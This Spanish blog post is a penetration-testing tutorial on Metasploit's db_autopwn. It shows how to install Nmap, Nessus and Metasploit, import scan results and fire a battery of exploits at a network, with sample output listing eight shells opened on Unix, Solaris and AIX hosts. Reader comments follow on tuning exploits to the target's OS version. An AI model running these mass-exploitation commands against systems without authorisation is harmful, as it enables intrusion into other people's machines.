Metasploit Autopwn

Seguro que a muchos ya os ha pasado y que en alguna que otra ocasión os han "soltado" en las oficinas de un cliente con vuestro portátil y la única premisa de demostrar, en tan sólo unas horas, que los equipos de su red son vulnerables y que un atacante malicioso podría REALMENTE llegar a robar información o poner en riesgo la integridad de los sistemas.

Si se os presenta esa situación o alguna otra en la que necesitéis obtener resultados rápidamente, no os importa hacer más ruido que un elefante en una cacharrería o simplemente queréis sentiros cual Rambo disparando exploits a diestro y siniestro, entonces Autopwn es vuestra herramienta.


Podríamos decir que Autopwn es la automatización de la explotación de sistemas hecha de forma fácil y sencilla. Un módulo de Metasploit que tiene la posibilidad de utilizar previamente los resultados de Nmap y/o Nessus para posteriormente lanzar automáticamente una batería de exploits contra los objetivos de una red.


A continuación vamos a describir muy esquemáticamente cómo preparar un sistema Ubuntu para utilizarlo.

- Instalar Nmap

sudo apt-get install nmap

- Instalar Nessus

sudo apt-get install nessus nessusd

Añadir usuario:
nessus-adduser
Registrar: http://www.nessus.org/plugins/?view=register-info
/opt/nessus/bin/nessus-fetch --register xxxx-xxxx-xxxx-xxxx-xxxx
Actualizar regularmente: nessus-update-plugins

- Instalar Metasploit

sudo apt-get install ruby libruby rdoc
sudo apt-get install libyaml-ruby
sudo apt-get install libzlib-ruby
sudo apt-get install libopenssl-ruby
sudo apt-get install libdl-ruby
sudo apt-get install libreadline-ruby
sudo apt-get install libiconv-ruby
sudo apt-get install rubygems *

sudo gem install -v=1.2.2 rails
cd /opt
sudo mkdir MSF
cd MSF
sudo svn co http://metasploit.com/svn/framework3/trunk/

Actualizar regularmente: sudo svn update

- Autopwn + nmap

Instalar base de datos (mysql, sqlite3 o postgres) y drivers guardar los resultados de nmap y/o nessus:
sudo apt-get install mysql-server
sudo apt-get install ruby1.8-dev
sudo apt-get install libmysqlclient-dev
sudo gem install mysql

msf > db_driver (comprobar driver activo)
Crear la base de datos: msf > db_connect usuario:contraseña:Nombre_bbdd
Lanzar escaneo: msf> db_nmap -vvv -n -sT -PN x.x.x.x



Lanzar exploits: msf> db_autopwn -t -p -e
Comprobar sesiones obtenidas: msf > sessions -l


- Autopwn + Nessus

Importar resultados de Nessus: msf > db_import ruta/fichero.nessus


Lanzar exploits: msf> db_autopwn -t -x -r -e
Comprobar sesiones obtenidas: msf > sessions -l

[*] (1952/1952 [8 sessions]): Waiting on 0 launched modules to finish execution...
[*] The autopwn command has completed with 8 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================

Active sessions
===============

Id Type Information Connection Via
-- ---- ----------- ---------- ---
1 shell unix GET / HTTP/1.0 x.x.x.x:8871 -> x.x.x.x:34370 exploit/unix/webapp/twiki_search
2 shell solaris GET / HTTP/1.0 x.x.x.x:18612 -> x.x.x.x:52136 exploit/solaris/sunrpc/sadmind_adm_build_path
3 shell aix GET / HTTP/1.0 x.x.x.x:34879 -> x.x.x.x:37130 exploit/aix/rpc_cmsd_opcode21
4 shell solaris GET / HTTP/1.0 x.x.x.x:22384 -> x.x.x.x:59066 exploit/solaris/sunrpc/sadmind_adm_build_path
5 shell solaris HELP x.x.x.x:22384 -> x.x.x.x:59108 exploit/solaris/sunrpc/sadmind_adm_build_path
6 shell aix HELP x.x.x.x:34879 -> x.x.x.x:37177 exploit/aix/rpc_cmsd_opcode21
7 shell unix HELP x.x.x.x:8871 -> x.x.x.x:34416 exploit/unix/webapp/twiki_search
8 shell solaris HELP x.x.x.x:18612 -> x.x.x.x:52177 exploit/solaris/sunrpc/sadmind_adm_build_path

[*] ================================================================================

- Fast-track

¿Y si queremos dar otra vuelta de tuerca a la automatización? Es decir, ¿si
podemos ahorrarnos todos los pasos anteriores y tan solo poner la IP/rango? pues para eso os recomiendo leeros el post de Shell Root en elhacker.net y utilizar Fast-track...


cd /opt
svn co http://svn.thepentest.com/fasttrack/
cd ./fasttrack
python setup.py install
./fast-track.py -g



Nota final: De lammers y script kiddies está lleno el mundo. A
unque la inmensa mayoría lo hacemos o lo somos en algún momento, subscribo el comentario de n3w y estoy de acuerdo cuando dice que con unos pocos comandos igual consigues una shell pero que lo interesante es aprenderse y comprender el trasfondo de la intrusión.

7 comentarios :

  1. Genial entrada, sencilla y directa. Autopwn es la herramienta secreta de Metasploit poco conocida, pero muy interesante cuando queremos lanzar una batería de exploits contra un sistema o una red.

    Es hacking de secretaria :P

    ResponderEliminar
  2. Es raro, pero de todas las veces que probé Autopwn contra una VM con XP que tiene vulnerabilidades, ninguna funcionó :/

    De todas formas, es una gran herramienta.

    ResponderEliminar
  3. @fragaycia el problema puede venir derivado porque la versión que estás lanzando del exploit no está configurada para el sistema operativo que estás corriendo bajo una máquina virtual.

    Ten en cuenta que existen varios Service Pack para cada versión de Windows, y que además muchos de estos exploits lanzados a mansalva por Autopwn buscan rutas de directorios y ficheros que siguen una cadena fija véase: "DocumentsAndSettings" y que puede verse ligeramente variada si utilizas la versión en español, francés o italiano.

    Ahí tienes el principal problema de que muchos de los exploits ejecutados por Autopwn a veces no te devuelvan la shell que deseas.

    La solución pasar por hacer una etapa previa de análisis de nuestra víctima a priori, conocer en profundidad y con detalle qué versión del sistema operativo posee la máquina que queremos atacar, y en definitiva tratar de averiguar todo lo que podamos para que nuestro ataque sea lo más eficiente posible.

    Es normal que si ejecutas la batería del Autopwn sin detenerte a conocer la víctima, no obtengas ninguna shell.

    Un saludo

    ResponderEliminar
  4. 0xroot por favor, comenta como se configurarían todos los posibles exploits. Hay que ir unoa uno?

    ResponderEliminar
  5. @Anónimo Cuando digo configurar quiero referirme a adaptar el exploit a la versión concreta del sistema operativo que estemos intentando atacar.

    Jose Selvi de Pentester escribió hace algún tiempo una entrada curiosa donde trataban el tema que comento:

    http://www.pentester.es/2009/11/por-que-no-consigo-shell-con-mi.html

    Espero que te sirva de ayuda.

    Saludos

    ResponderEliminar
  6. Remitiéndome a mi primer comentario, esto no quiere decir que sea necesario hacer una modificación de todos y cada uno de los exploits, muchas veces estos son universales para la misma versión independientemente del idioma.

    Y otras en cambio, no basta con aplicar un simple cambio en una variable como comenta Jose en su entrada, sino que el proceso para adaptarlo requiere de mayor "faena".

    Un saludo.

    ResponderEliminar
  7. Gracias 0xroot, le echaré un ojo.

    ResponderEliminar